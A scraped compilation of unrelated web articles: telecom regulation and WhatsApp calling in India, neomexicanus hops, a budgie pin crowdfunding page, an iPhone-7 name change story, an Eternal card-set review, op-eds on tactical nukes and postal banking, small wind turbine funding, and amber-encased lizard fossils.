With more than 600 million monthly active users, WhatsApp has already made a hole in telecom operator’s revenue.
“Hence, companies offering OTT voice services, without holding a telecom license in India, would essentially violate and circumvent Indian telecom licensing provisions and provide services that are otherwise only permitted under a telecom license,” Rajan S Mathews, Director General, Cellular Operators Association of India (COAI) said to TRAI.
“Whatsapp has become a virtual network provider without any license and allied permissions bypassing number allocations, security norms, routing norms since it is using the Mobile Station International Subscriber Directory Number (MSISDNs) for switching and interconnection,” said Mathews.
He further added, “Allowing the use of VoIP/ Internet telephony at such massive scale without licensing regime would lead to a significant disruption in the existing business of Telecom Service Providers and can substantially derail their investment capability.”
The service currently has more than 600 million monthly active users in India,which is almost double the subscribers of Hike which comes at distant second position.
The TSPs are already suffering because of such VoIPs as free messaging and calls has become a norm of the day. He further added, Such a situation would jeopardise the national objective of affordable and ubiquitous telephony and broadband access across the country. Further, such an arrangement would also constitute a significant loss of revenues for the exchequer. Lastly, Internet telephony is a licensed service permitted only under ISP or Unified License granted under the Indian Telegraph Act.
TelecomTalk Perspective:
Telecom operators and OTT players have always been at wars globally, some more open than the rest. Whatsapp’s recent move to start calling services seems to have hit operators in India hard and they are frantically looking at ways to defend. While Airtel decided to silently charge differentially for VoIP causing a roar across the country, rest of the operators have knocked on the doors of the regulators.
One of the key points that the operatos are missing or rather want to hide is that revenues from Data is and would be growing exponentially in the coming months. Operators are rather acting greedy and want to pocket the newer revenues along with the existing voice revenues.Ah fall, when a young brewer’s heart turns to lupulin; if you are anything like me, you have been eagerly awaiting word of the fall hop harvest being ready. Well, good news: not only are normal hop varieties starting to roll out, but I just got word that the monks at Holy Hops have just released their 2015 crop of Neomexicanus varieties!
First some bad news: not only was this year rough in the Lupulin Triangle (Washington, Oregon, and Idaho), nature was a fickle mistress down in New Mexico as well.
The 2015 growing year was a challenge to say the least… In April, May, and June we experienced abnormal amounts of rain, rain, and more rain that soaked the fields and put less direct sunlight on the maturing bines… July saw returns to normal temperatures, afternoon rain, and otherwise long, bright sunny days which was encouraging. Then August arrived with a vengeance! We experienced a series of heavy hail storms during the first two weeks of August. One storm was so severe that small pea size hail pellets fell so violently that it stripped most of the maturing hop cones off the plants. At the end of the storm, there was about 12 inches of hail on ground mixed with thousands and thousands of hop cones! It was heartbreaking to see the damage to the crop. None the less, we did a very short two day harvest in late September that produced less than a quarter of a normal harvest.
Now the good news: the neomexicanus varieties they harvested were especially potent and there are still plenty available to homebrewers only. Unfortunately there’s no Chama available (my favorite from last years crop), but Amalia, Latir (review), Mintras, and Tierra make a return.
In the mean time, feel free to catch up on my series of posts about Neomexicanus hops. I will make an update if I hear of any other outlets selling Neomexicanus this year. Happy brewing!
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Like this: Like Loading...Round Two! These budgies got an upgrade - A new design and new colours!
My name is Becca I am an artist, pilot, and bird lover! I have three budgies named Starbuck, Lyra, and Legolas who are my inspiration for these pins. I love collecting so it was only natural I would stumble upon these one day but now I want to try to create and add something to the world of enamel pins. I hope you will enjoy them with me!
The Pins
These budgie pins will be 25mm (1 inch) and feature...
- Hard enamel
- Gold plating
- A metal butterfly clutch
- A backing card
Pins on a prototype backing card. May not be the final design and not to scale
Funding
The initial $900 will cover the costs of creating and shipping the budgie pins.
Stretch Goal
If we can reach $1,200 I will unlock stickers for backers at no extra cost!A UKRAINIAN man has officially changed his name to iPhone 7 after an electronics store offered the latest Apple phone to the first five people to legally change their name to the device.
The 20-year old iPhone Sim (Seven) got the coveted prize on Friday local time.
The iPhone lover and now eponymous youngster said he might change it back to his original name, Olexander Turin, when he has children.
The price of phone starts at US$850 in Ukraine, while the name changes costs the equivalent of just $2.
Sim’s friends and family were shocked at first but eventually supported the idea — presumably because it just makes good business sense.
His sister, Tetyana Panina, said “it was difficult to accept that and hard to believe it’s true.”
She added: “Each person in this world is looking for a way to express himself. Why not to do that in this way?”
Apple fans are known for their dedication, but this is some next level commitment.Hello friends! Time for a set review! Buckle in, because we are going in hot. If you haven’t had a chance to check out my “Hot Takes” article where I preview the rough draft of a few decks I have been thinking about, be sure to take a look. This review will be for both ranked and draft, since I got a lot of requests last time for both. Thoughts on the review? Be sure to share them in the Reddit thread! Here we go!!
Ranked Ratings:
★★★★★ Format staple
Examples: Sandstorm Titan, Torch, and Wisdom of the Elders
★★★★ Archetype staple, or multi-deck support card
Examples: Waystones, Permafrost, Rally
★★★ Role player or narrow support card
Examples: Rakano Outlaw, Rise to the Challenge, Withering Witch
★★ Long shot or meme-tier
Examples: Knucklebones, Crown of possibilities, Groundbreaker
★ Unplayable
Examples: Idol of Destran, Copperhall Recruit, Daze
Draft Ratings
★★★★★ Bomb or ultra efficient removal
Examples: Twinbrood Sauropod, Annihilate, and Slimespitter Slug
★★★★ Above replacement level
Examples: Feeding Time, Mortar, Archive Curator
★★★ Around replacement level
Examples: Striped Araktodon, Hipshot, Highbranch Sentry
★★ Below Replacement Level, but not embarrassing
Examples: Centaur Outrider, Cabal Slasher, Cirso’s Meddling
★ Unplayable
Examples: Accelerate, Sanguine Sword, Aid of the Hooru
Granite Waystone
Ranked:
★★★★ This will be repeated throughout the different sections of the review, so I will say it once in full here. Granite Waystone is a lock for seeing ranked play, even if it is not exactly meta defining. Some 2 faction decks will play this card, and all mono Fire decks will play it. Powerbases have obviously become much more complicated with Waystones and Crests being introduced, so it is hard to guess right now exactly how popular these will be, but they will certainly see play.
Draft:
★★ I will repeat this in the other sections too, but the value of Waystones is WILDLY different between pack 1 and pack 4. In pack 1 you need to efficiently use every pick, hedging with off-faction playables. In that case Waystones are only a shade above actual garbage. In pack 4 you might know your faction balance and you playable count, so picking up a Granite Waystone is fine. Still not excited about it though.
Helpful Doorbot
Ranked/Draft:
★ Unfortunately our little buddy is not impactful enough to see play, but we love him anyway!
Iceberg Frontrunner
Ranked:
★★ I supposed there is a world where yetis wants this as a role player. Seems really weak, but giving out the second star is pretty free in this case.
Draft:
★★ You need to really need yetis for this to make the cut, and I just don’t really think a yeti deck is there for draft. Certainly not a card the average Fire deck will want.
Kaleb’s Intervention
Ranked
★ It is very important to realize this card is NOT a fast spell. If it were fast it would be much better than Pummel. Since it is slow your options are greatly cut off. I can’t even imagine wanting this in a side board.
Draft
★★ Here the second star is really pushing it. I supposed a heavy Grenadin deck might want this, but I am not excited about being forced to use the +2/+2 and overwhelm mode pre-combat.
Kennelmaster
Ranked
★★ This card is a very weird combination of pieces, and I don’t know how they are supposed to fit together. It does not have a relevant unit type, the dogs are reckless which means they die a lot, and you need to have 3 spells before he becomes active. I know this works in some sacrifice synergy deck, but aren’t there better options? There is certainly a world where it makes a minor impact, but I would bet against him being a major player
Draft
★★★ This card is going to be high variance in draft, ranging from a 1/1 for 1 no text all game lone, or totally burying your opponent in doggos. I would pick it up try it out, and then trade proactively to keep the ground clear of bigger units. Don’t be afraid to remove it from your deck, as it is probably unplayable if you have less than…. say… 8 spells?
Scrap Hound
Ranked
★ The activation would need to be much cheaper to make a dent in ranked.
Draft
★★★ Hard card to rate, as it hinges on how many Grenadin you can pick up in the average draft. 1/1 for 1 is not good enough, and 1/1 for 1 that upgrades to a 3/3 is not particularly interesting either. This rating could easily go down. Once you have over half a dozen ways to get Grenadin for cheap I think this is fine, but not exceptional. 3 is generous to start with, so if you have bas experiences with the card even in the correct type of deck, maybe this should be abandoned.
Combustion Cell
Ranked
★★★ I was honestly impressed by this card in the event, even when we didn’t have all the tools we might want to enable it. Gearcruncher is a powerful card, so it is worth jumping through a couple hoops to power him out. There are also obviously a ton of entomb synergies with Grenadin. If it does find success it will be in a narrow archetype, but it certainly has potential.
Draft
★ This is pretty close to unplayable in draft. Throwing away units in draft is a recipe for disappointment, and here you are not even getting enough of a pay off for it to be worth it.
Disassembler
Ranked
★★★ This card actually seems really annoying in the right deck. Isn’t it possible to set up a 1 turn kill with something like this? 2 Disassemblers plus an assembly line is 10 damage just from death triggers. Obviously this would just be a role player there, but seems like an important part of the puzzle.
Draft
★★★ It is harder to build around this card in draft compared to ranked, but 2/2 for 2 is also just closer to playable in draft. I don’t expect this to do much more than deal 2 free points of damage and trade with a 2 drop, but that is totally fine. If you happen to score the nut Grenadin deck with 3 or 4 of these you will be very happy.
Into the Furnace
Ranked
★★ I could imagine a world where dedicated Grenadin decks play 1 or 2 copies of this, especially if troublesome 4 health units are popular (such as Statuary Maiden). This is obviously a narrow card, but is not totally crazy to play it some of the time.
Draft
★★★ Relative to other burn spells this is not outstanding, even in draft. 2 damage as a base case is not a lot, slow speed is a big draw back, and not hitting face is pretty frustrating. Sill, removal is removal, and people will play the card if they like it or not.
Miner’s Musket
Ranked
★★★ This card is really weird. 2/2 Relic weapon for 2 has seen non-zero ranked play, and the difference between 2/2 and 2/1 is not really outstanding. The summon ability is obviously inconsistent, but situationally powerful. Imagine curving this into Jekk? It seems unlikely to become a fixture in a deck like armory, but it is worth trying.
Draft
★★★★ The Musket will probably always trade for a card, and then give you a nice bonus down the line. Respectable in an aggro deck as a means to keep the pressure up, and acceptable in a more controlling deck to set up a swing turn down the line. Certainly not a high impact card, but should make your deck 100% of the time.
Oni Cavediver
Ranked
★ Oni doesn’t have enough support to be an interesting tribe for me. It feels like there are better options. It looks like their might be a Praxis Explorers deck with only a minor Sentinels theme, and I suppose this might work there, but I am not quite sure what that deck is supposed to offer you yet.
Draft
★★★★ This card is a great split between aggressive and defensive postures, which you will see a lot on Praxis decks. 2/2s for 2 are fine, especially when they upgrade to 4/2s, and Scout is nice bonus.
Spark Hatcher
Ranked
★★★ Well, if there is a Grenadin deck this seems like it would fit there. This card is worse than Grenadin Drone or Assembly Line, but those are obviously going to be 4-ofs in any dedicated Grenadin deck. Important role player in a specific archetype, if slightly unexciting.
Draft
★★★ I feel like Hatcher is better than Grenadin Drone in draft, since absolute stats are more important than power efficiency. Trading a 2/1 off with a Stranger, and than being left over with a 1/1 to feed to a Thornbeast is a perfectly reasonable exchange. It is hard to tell how aggressive or defensive Grenadin will be in draft, but this guy will be part of it no matter what.
Unpredictable Outlaw
Ranked
★ Not enough stats on the body, and not enough power in the ability. Being a gunslinger does not save her either
Draft
★★★ Sure, this seems like a reasonable piece to the gunslinger deck. Gunslingers really care about weapons in draft, which should surprise no one. Still, the best drafters will be the once that can identify the balance between equipment and units, and Unpredictable Outlaw is a great example of that.
Yeti Sage
Ranked
★★ There are a number of people out there that are much higher on this card than I am. Double damage is clearly a lot of damage, but this card just seems too fragile. I could see this fitting into a “mega pump” style deck with things like Fevered Scout and Hooru Envoy, I just don’t think that deck will be very good.
Draft
★★★ I guess this is fine? It is effectively a 2/1 for 2 with a relevant unit type, but with a little bit of upside. ★★★ if you are in yetis, or ★★ if you are not.
Backpacker’s Machete
Ranked
★ Too low impact for too much cost. Would see a lot of play if it cost 2 I think.
Draft
★★★★ GREAT card in the gunslinger decks! Fire decks often struggle with card selection and filtering, and this gives you that for a very low price. Probably drops to ★★★ in non-gunslinger decks, but getting something half way through pack 1 might be a sign that gunslingers is open.
Coalscrounger
Ranked
★★★ Weird card. I am still trying to decide how aggressive or defensive Grenadin are supposed to be. If they are supposed to be moderately aggressive, this is clearly an amazing addition. If they are more midrangy and value driven, this is fine, but not great. I think it will see play, but unlikely to be a staple of the ladder.
Draft
★★★★ This seems like a great reason to go into a Grenadin deck. 2/1s are a LOT better than 1/1s, so Coalscrounger could really mess up combat for your opponents. The entomb is a nice bonus, but obviously not an important element of the card. Incidental Firebombs are probably a lot more valuable in draft because of the Night mechanic, but that still doesn’t make them good.
First-Shot Rioter
Ranked
★ Too little stats for the cost. Once again, I have no real interest in bad gunslingers.
Draft
★★★ This is on the low end of 3 stars, given that 3/2 is the stat line for a 2-drop rather than a 3, but the ability and the card type are both important additions. Not exciting, but will make the cut most of the time.
Hoof Slash
Ranked
★ Not a chance.
Draft
★★ Seems like there are fewer good combat tricks in Dusk Road, but that doesn’t mean we should go in on playing bad ones. If you don’t have removal or better tricks you can play this, but it is better to avoid it.
Milos Izalio, Heir to Rebellion
Ranked
★★★★ If Gunslingers are a thing, this looks to be the kind of card DWD is pushing to make that a reality. This card feels very high variance though, as it is looking both for allies and for weapons. You will need to build around a card like this, but Milos seems like he could be worth it.
Draft
★★★★ This card in incredibly strong in draft if you can enable him, but not every deck will have the necessary tools to make him work. If you pick up at the start of pack one you should be able to find enough guns and gunslingers to pair him with, but make sure you don’t try to force him into something like a Grenadin or Yeti deck.
Purge the Darkness
Ranked
★ This card looks horrible. Don’t play it. I supposed it denies your opponent’s draw, but unless you are against a field of 50% Nightfall decks, this is just 4 damage to face full stop. Even burn decks might want their opponents to take damage from the Night effect.
Draft
★ This card looks horrible. Don’t play it.
Ruby Catalyst
Ranked
★★★ I mentioned above briefly that there may be a low-to-the-ground Praxis Explorers deck with a touch of Sentinels. This could be a piece of a deck like that. I don’t like paying 9 for a 5/4, so you really need to take advantage of the exhausts, which implies aggression. Not good enough for big Praxis Ramp style decks.
Draft
★★★★ This card looks straight up great for draft. Every aggressive deck will want a pseudo Eye of Winter to push damage, and getting a 5/4 in a couple turns is quite solid. Also just helping with the relic count shouldn’t be underrated. Even big Praxis decks really want the 5/4 to set up bond chains. Card looks great.
Ruincrawler Yeti
Ranked
★★ Seems OK if there are specific attachments you are really hot to target, but 2/2 for 3 is pretty bad so I wouldn’t play it unless you had a very specific reason. The second line of text is great with Wump, but so is everything else on every Yeti
Draft
★★★ Units like Furnace mage have typically been very solid in draft, but the 2/2 body is very much a turn off. If you are not in a yeti heavy deck you probably avoid it, but it can never really be that bad given the 2-for-1 potential.
Scrap Heap
Ranked
★★ Hammering someone with a giant charging Toppletower seems like fun, but it also seems pretty unlikely. 1 Grenadin for 5 seems really expensive compared to Amber Ring, and that doesn’t see serious play, so color me sceptical. Obviously I would love to hammer someone with a Gearcruncher, using this, but that just doesn’t seem real
Draft
★★ This is probably just a bad Amber Ring. Still playable, but man is it slow. You probably need to want Grenadin even for draft.
Skycrag Huntsman
Ranked
★ A 1/4 for 3 with a clunky conditional activated ability? Not interested.
Draft
★★ This card varies massively if you have relics or not, meaning you need to either take this early and prioritize the relics, or know you already have the relics in place. I think 4 good relics, one of which being an expendable relic, is probably about the sweet spot. I guess he isn’t even that great if you have the relics, so it is probably just best to avoid him.
Temple Raider
Ranked
★★★ Once again we get to the “aggro explorers” deck I have been talking about. 4/4 Charge for 3 is a great deal, but it is going to be really hard to have this pair a Sentinel on curve. A little closer to 2 stars than 3, but I will give him a chance.
Draft
★★★ This is a very synergy dependant pick. My first 7-win deck of the format had multiple Temple Raiders, and they were great, since I had a ton of 4 drop Sentinels. He was certainly a 4 star card in the deck, but I really don’t know how realistic that is. He is clearly much worse in a gunslinger or yeti deck, so lets round him out to a 3, but be sure to adjust your pick order once you know where you are.
Toppletower
Ranked
★★★ This guy has still not grown on me. I want my grenadin deck to be pretty resistance to removal and to silence, and this guy is super vulnerable to each of them. Clearly Toppletower + Scrap Heap one-turn-kill sounds sweet, but I just don’t think that is what the grenadin decks want.
Draft
★★ This card is super high variance in draft. If you get the nut grenadin deck this guy might go pretty high, but as we will see the power level of draft seems to have been noticeable bumped up, so a generic massive beat stick is a little less impressive. If you are not in grenadin this card is obviously unplayable. Coming together with these two factors, it is probably best to avoid it.
Tumblebang
Ranked
★★★ This is just so much power when combined with combustion cell. Turn 2 Cell, turn 3 Tumblebang, turn 4 you could have access to 9 power! 9 power is conveniently enough for original Eilyn + Snowball if that is something that interests you. I really feel like combo got some sweet tools in this set, but it will take a while to piece them together. 3 stars for Tumblebang is probably generous, but I am optimistic.
Draft
★★ This card is so inconsistent in draft. You can’t block with it to get power, since the power will empty before your next turn. If you attack you will probably trade with some garbage 1/1, or just lose it to a bigger unit, in which case you need to do something amazing with the free power. With bond in the set, there are just better ways to cheat the power system.
Ancient Defenses
Ranked
★ This just seems too inefficient and durdly. I don’t think people lose many ranked games because their Sentinels are not big enough. They lose because they don’t do anything until turn 4. There are much better ways to deal 3 damage or get a relic if that is what you want.
Draft
★★★ 4 power for 3 damage is a little slow for this format, but there are a lot of cards that care about the relic in play even if you have no Sentinels. If you do have Sentinels this is really great, as it not only buffs their combat prowess, but synergizes with Bond. Still not quite a 4 star card, but certainly solid.
Barbarian Camp
Ranked
★ Xenan Obelisk is a much better card, and it is not particularly popular right now. Think about it.
Draft
★★ I think this card is just a little too low impact. Having a relic that buffs the stats for your team is obviously great in draft, as it allows you to trade up, but I am just worried that spending 4 power and a card on this is just not going to be worth it. I could buy that this is closer to a 3 star, especially if you have “relics matter” synergies, but it is probably best to avoid this for now.
Hellfire Oni
Ranked
★ This is not the kind of “combo” card I like. So much can go wrong with a card like this. There is also not enough Oni support for a 3/3 for 4 to make it in my opinion.
Draft
★★★★ This actually seems like kind of a bomb. Obviously you want to be strategic in which weapons you prioritize, focusing on some of the more expensive ones, but if you set up a good combo I think this can easily take over a game as early as turn 5.
Kyojun, Grand Shugo
Ranked
★★ 3/2 for 4 is just not an acceptable state line, and there are really not enough playable Oni for me to be interested. Obviously some nut curve into this guy will kill people, but he just seems so fragile. Fire is also not great at protecting their units. If you do get to power up with him in play he can totally take over the game, but I just worry it will be way too inconsistent.
Draft
★★★★ Not a slam dunk since not every fire deck will have a ton of Oni, but if you do get even half a dozen he is going to be pretty great. Weapons will help Kyujun get through and start the train, but there will be some games where he is just brick-walled. Probably just outside of the 5 star zone.
Stonescar Sawed-Off
Ranked
★ Seems like there are a lot of better cards that do similar things. Not interested.
Draft
★★★★ You will kill people with this kind of card, especially if they are not playing around it. If they are not keeping back enough blockers this is just a massive tempo swing. Imagine this on a flyer like a Renagade Valkyrie? Shudder. You are also really looking to up your weapon count in the average fire deck to make gunslingers viable.
Wandering Forge
Ranked
★ Even if this was always a 5/3 overwhelm for 4 I would expect it to see 0 play.
Draft
★★ This is a borderline case. 4/2 for 4 is really bad. Centaur Outrider is the quintessential “playable I guess, but something probably went wrong” kind of card, and this is worse as a base cast. Being a Sentinel with 5 strength is a big deal in draft though. The value in non-praxis is certainly low 2-star, but the value in Praxis is closer to 3, so 2 seems fair.
Hotbarrel Revolver
Ranked
★ Are you playing this over Deepforged Plate? I really don’t think so. I suppose there is a world where gunslingers are playing Rise where this becomes a bullet, but that is probably awful.
Draft
★★★★ Hellfire Rifle was probably slightly underrated in set 1 draft, and the base case for this is basically cheaper Hellfire Rifle. If you get a few good gunslingers, this card becomes pretty nutty. Feel free to throw this in your Yeti or Explorer decks as well, since this is good enough even with bad aim.
Inner Fire
Ranked
★★ This seems clearly meme tier to me. I look forward to the stupid grenadin OTK deck, but let’s be real about its competitive viability.
Draft
★ This is like 5 power deal 5 to the opponent, except it can be blocked by your opponents units….. But it scales to a 7 power deal 10!…. That can still be blocked by your opponent’s units….. Not exactly exciting.
Jekk, Hunted Fugitive
Ranked
★★★★★ There are a lot of decks that are looking for something like this. A dedicated gunslinger deck would love Jekk as a top end card, and tokens would love him as another Obelisk effect. Like all members of the Diesel cycle, this demands an immediate answer, or it will get out of hand.
Draft
★★★★★ This would be pretty close to a hard 5 star with no text beyond Quickdraw. If this sticks in play for more than a turn I have no idea how you lose.
Parapet Sentry
Ranked
★★ It is not that hard to imagine a world where Praxis Sentinels wants an on-theme answer to flyers, and although this card is not exceptional on rate, it could make the occasional appearance. Still, 5/4 for 5 is rarely going to be good enough, so you should only play with this if you feel like you need to.
Draft
★★★★ If you are able to pick off a flyer with this, you are going to be way ahead. If not, would probably just have a 5/4 for 5 (assuming you have enough relics). The ceiling is high, the floor is safe, but nothing nutty happening her. 4 stars seems right.
Powderkeg Rider
Ranked
★ I really can’t see this making it. If it were just a 7/4 overwhlem I might be interested in some decks, but even that would be a long shot.
Draft
★★★ You really need at least a half dozen grenadin card for this card to be good. 3/4 overwhelm for 5 is just not acceptable. 7/4 overwhelm is pretty scary, but your opponent can usually trade into it with a little big of splash damage and be fine. I will give it the benefit of the doubt and put it at 3 stars, but that is generous.
Staff of the Arch-Magister
Draft/Ranked
★ What on earth deck does this go in? Is this for the “big pump” deck or something? Why does it cost so |
Removing U.S. tactical nukes, instead of wringing our hands about what to do with them, could have been played as a moment of strength, part of the revitalization of NATO as a tough, confident, technologically supreme, extraordinarily wealthy alliance of twenty-eight free nations. Instead, we still dither over an outdated nuclear crutch.
And yet, we can’t remove them, at least not yet. Putin, less a nationalist than a Soviet nostalgist, already treats President Obama with the contempt his Soviet forefathers once heaped on the feckless Jimmy Carter. To treat Moscow to a political theater in which the president tries to remove 200 nuclear bombs while in the middle of five other crises at the same time would be pointless.
But there will be time, before Obama leaves office, for him to make good on bold promises made in his first term. Like George Bush the elder in 1991, he can use his famous “pen and phone,” and bring home the last few-hundred souvenirs of Cold War nuclear strategy that we never wanted to use.
Then he, or his successor in 2017, can change America’s nuclear strategy—and must. But one thing at a time.
Tom Nichols is Professor of National Security Affairs at the Naval War College and an adjunct at the Harvard Extension School. His most recent book is No Use: Nuclear Weapons and U.S. National Security (University of Pennsylvania, 2014) The views expressed are his own. You can follow him on Twitter: @TheWarRoom_Tom.As she watches a man with whom she publicly agrees on almost everything be anointed prince of progress, Hillary Clinton feels the burning desire to have her liberalism recognized. It’s an uphill battle, because she doesn’t appear to understand what it’s like to be a working-class American. Two words can change everything: postal banking.
Hillary hasn't lived on the financial fringe. She’s never stood in a check-cashing line, waiting to pay a fee to convert her earnings, then ridden the bus to a Verizon store so that she can pay her bill in cash, or purchased money orders to send so the heat doesn’t get shut off, her tap run dry. A $25 fee has never meant the difference between Hillary eating lunch all week and a stomach that churns each day from noon until night.
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But she can empathize. By championing this one proposition—the offering of savings and checking accounts, money transfers and even small loans by the U.S. Post Office—Hillary can prove her willingness to face down big business for the benefit of the working class. Logistically and politically far easier than raising the minimum wage, postal banking could be key to both securing the nomination and improving the lives of millions of Americans.
Mehrsa Baradaran, a banking law scholar at the University of Georgia School of Law, explains the necessity:
Over half of the U.S. population would need to borrow money if they had a shortfall of $400 due to an unexpected expense. When these people face an emergency, they often have to take out loans from payday lenders at 300-2000 percent APR. And 40 percent of the public is either unbanked or underbanked, meaning that they rely on alternative financial services like check cashers. The unbanked pay around 10 percent of their paychecks to use and move their money. That’s about the amount the average low-income family spends on food.
Money transfer businesses like Western Union, she says, also make our nation’s poor poorer, charging historically based high rates to send money internationally that can’t be justified in the digital age.
Baradaran’s book, "How the Other Half Banks," tells the forgotten history of postal banking in the U.S. Most Americans take for granted the presence of a post office in a small town, as well as standardized rates for shipping regardless of how accessible the point of origin or destination. That’s because the Postal Act of 1792, supported by Madison, Hamilton and Washington, “made several crucial decisions.” Among them were that the institution would be financially supported by the federal Treasury: self-sustaining, but not profit-seeking. Another was that the post office would serve every community, with the profitable North/South routes used by merchants supporting the East/West routes.
A century later, the idea of adding banking services began to gain traction thanks to repeated bank runs and the national panic of 1907. Baradaran tells, “There had to be compromises in order for the proposal to pass. One of these was labeling them ‘the poor man’s banks’ and capping both interest rates and account balances to set bankers at ease that they would not compete.”
In 1910, the United States Postal Savings System was born. It was an immediate success with 32 million in deposits by 1913. As predicted, Southerners and Westerners who had taken to relying upon “stocking banks,” the equivalent of cash stuffed under the mattress, used the system. Unexpectedly, recent immigrants in urban areas flocked to it as well. Their familiarity with the concept undoubtedly helped. Then, as now, postal banking was common and trusted throughout Europe.
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But we don’t have it today. What happened?
In the 1950s postal banking became unattractive as banks—rendered stable by the advent of Federal Deposit Insurance—offered higher interest on deposits. Federal regulation prevented conglomeration, and credit unions, thrifts and community banks thrived. In other words, the poor had access to banks that served their needs. “In 1966, as part of President Johnson’s streamlining of the federal government, postal banking was abolished,” Baradaran says. “The only opposition came from postal workers unions worried about job loss.”
When the banking sector was transformed starting in the 1970s by “both market changes and a strong tide of deregulation,” however, a merger wave “squeezed the community banking model and public-serving, limited-profit financial institutions were forced to merge and abandon their missions for more lucrative markets in order to survive.” They left behind unprofitable locations and customers, creating “banking deserts.”
With both the community banks and postal banking gone, fringe lenders and service providers sprang up to fill the void. Many of us can't recall a world without check cashers and payday lenders on the corners in impoverished neighborhoods, but prior to 1980 you would have been hard-pressed to find one.
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Unfortunately, most policy wonks who understand this history and the resulting inequity throw their weight behind reviving and supporting community banking. Not so Baradaran: “I think we should all loudly lament the loss of community banks, but in many ways, the genie has left the bottle. Large and national banking was the decisive winner. The question is how to move forward with a policy of financial inclusion.”
Postal banking provides an elegant solution. Because of the institution’s existing infrastructure, almost everyone would have easy access to a banking location, and online banking could follow. The post office already offers money orders and handles cash. Postal unions support restoration of banking services.
Though fees for accounts, transfers and loans would remain low due to the post office’s limited-profit mission, they would exist. One look at Amazon shows just how much revenue a low-margin, high-volume model can produce. The resulting profits could save the financially embattled post office and our democratic ideals all at once.
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Hillary need only get on board with two political propositions to see it through. First, though banking services would be risk-free, lending will always result in defaults and losses. Loans could be priced accordingly, however, and Baradaran says,
for many reasons, including economies of scale and scope and positioning inside the federal bureaucracy, the Post Office can manage these costs. Just as the government has created, funded, and maintained mortgage and student loan markets, and the entire bank/credit apparatus, it can help create a small loan market, starting to even the credit playing field.
The second big sell is to the banks, mirrors the pitch made during the 1908 election, and goes something like this: “We aren’t taking your customers. You don’t want these accounts. You haven’t sought them, and you won’t. We aren’t touching your business.”
Check cashers, payday lenders and those who charge exorbitant amounts to send money back to parents or children in another country, on the other hand, be warned. We’re coming for yours.
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Bernie has endorsed postal banking, but he hasn’t made much of it. If Hillary wants to connect with the financially struggling and their children, immigrants and their children, she should seize this issue and run with it.
She can prove that her realism doesn’t have to preclude making big promises. She can take a bold stand against corporate interests, and demonstrate how her knowledge of Washington can translate into real change for those who need it most.
Hillary should use postal banking to show the American people what she told them after her loss in New Hampshire: “Even if they are not supporting me now, I support them.”
Gail Cornwall is a former public school teacher and recovering lawyer who now works as a stay-at-home mother and freelance writer in San Francisco. Her work has been published online by the Washington Post, Salon, the Huffington Post, House Beautiful, and Scary Mommy, among others. You can find Gail on Facebook and Twitter, or read more at gailcornwall.com.US Energy Dept. Still Believes That Small Wind Turbines Are Da Bomb
May 13th, 2017 by Tina Casey
The renewable energy spotlight shines brightest on the latest crop of supersized wind turbines and gigantic wind farms, but the small wind sector still has a chance to plant its flag on the US energy landscape. In the latest development, the Energy Department is readying another round of funding aimed at accelerating cutting edge technology for distributed wind energy.
The funding program is relatively small compared to other federal energy programs — for example, a 2014 round in the same program totaled a measly $1.3 million — but a little goes a long way in the small turbine field.
More $$$ To Keep Small Wind Out Of The Doldrums
To be precise, “small” in this article is shorthand for the small to mid-sized turbine field.
The Energy Department defines those categories by the size of the area swept by the turbine blades. Together, that would include turbines with a swept area of under 1,000 square meters.
The Energy Department puts both small and mid-sized turbines in the distributed energy category (large turbines that generate power for a facility on site can also be considered part of the distributed energy sector).
The new round of funding comes under the annual Distributed Wind Competitiveness Improvement Project of the National Renewable Energy Laboratory.
The CIP mission is to help small turbine manufacturers keep pushing the technology window:
The CIP helps manufacturers address barriers like outdated technology and increasing hardware costs, preventing the stagnation of the domestic market for distributed wind systems.
The US domestic small wind sector has a lot of room to grow in the US. CIP aims to build up the export market as well:
Maintaining U.S. market leadership, both domestically and internationally, requires next-generation wind turbine technologies…
The problem is that R&D costs big bucks and small turbines are, well, small.
That’s where your tax dollars go to work. CIP funding helps manufacturers offset their R&D costs, from concept to prototype testing and on to commercial specs.
So, group hug for US taxpayers.
A Little Goes A Long Way
The CIP program is relatively modest, but NREL has already racked up some success stories. Here’s a rundown from the lab:
Northern Power Systems of Barre, Vermont, achieved a 15% increase in annual energy production by improving aerodynamics and lengthening the blade design for their new “C Series” blades, currently manufactured by two U.S. suppliers
Pika Energy of Westbrook, Maine, demonstrated a novel injection-molding process for producing high-performance wind turbine blades, reducing blade costs by 90% compared to conventional hand-laid composite blades of comparable quality.
Intergrid developed the first wide-band, gap-based inverter designed for wind applications of up to 25 kilowatt on a single-phase system.
Wetzel Engineering developed a new approach to adding larger, pitch-controlled rotors to wind generators designed for stall control, resulting in a 28% increase in production and a 15% reduction in the turbine’s levelized cost of energy.
Good work, guys!
If you were hoping to get in on this round of funding, unfortunately the May 9 deadline for submitting proposals has come and gone.
But, there’s always next year.
If that sounds a little optimistic considering the Trump budget ax, maybe so. However, unlike his counterpart over at EPA, Energy Secretary Rick Perry seems determined to keep his agency fully funded and firing away on all pistons when it comes to decarbonization.
Small Turbines Rising
CleanTechnica periodically dips a toe in the small turbine waters, but the last such overview was back in 2013, so it’s well past time for an update.
The small turbine market gets short shrift from some industry observers, but when you look at them in the context of distributed energy systems and microgrids the financials begin to make more sense.
CleanTechnica has also noted that small wind turbines don’t have to be particularly efficient to add value to a facility. Ford, for example, has dabbled in onsite turbines at dealerships that display its logo, and the number of sports arenas festooned with turbines is growing.
At last month’s 13th annual Small Wind Conference in Minnesota, NREL’s contributed a presentation titled “A Successful Small Wind Future: There Is Great Potential.”
So, stay tuned.
Image (cropped): via US Department of Energy.Fossil forensics: Two ancient lizards, two amber-encased mysteries
Two ancient lizards, entombed long ago in amber. The first one comes from a known fossil locality, but its identity is an enigma; the second has been identified, but where it came from remains unknown. These are the dual mysteries that two teams of palaeontologists are working to solve using the latest sleuthing techniques.
Mysterious identity
The first lizard appears as a scaly outline inside its amber capsule. While its skin is preserved, most of its insides have been lost to time, leaving behind the transparent shape of the tiny reptile, like a golden ghost from the ancient past. But its identity – where it fits on the lizard family tree – is a challenge to determine.
This is the lizard specimen currently being studied by the Texas team. Incredibly, its skin has preserved while most of its insides have not, leaving a beautiful lizard-outline. Image: Ru Smith
The fossil comes from the famous Hukawng Valley of Myanmar, home to 99-million-year-old Burmese amber, the same site that has recently produced such gems as an ancient baby bird, a feathered dinosaur tail and an alien-looking insect. The find was purchased by a collector named Ru Smith, who in turn lent it to Juan Daza of Sam Houston State University in Texas. Using a high-resolution CT-scanner, Daza and his colleagues were able to get a close-up glimpse at the lizard's body.
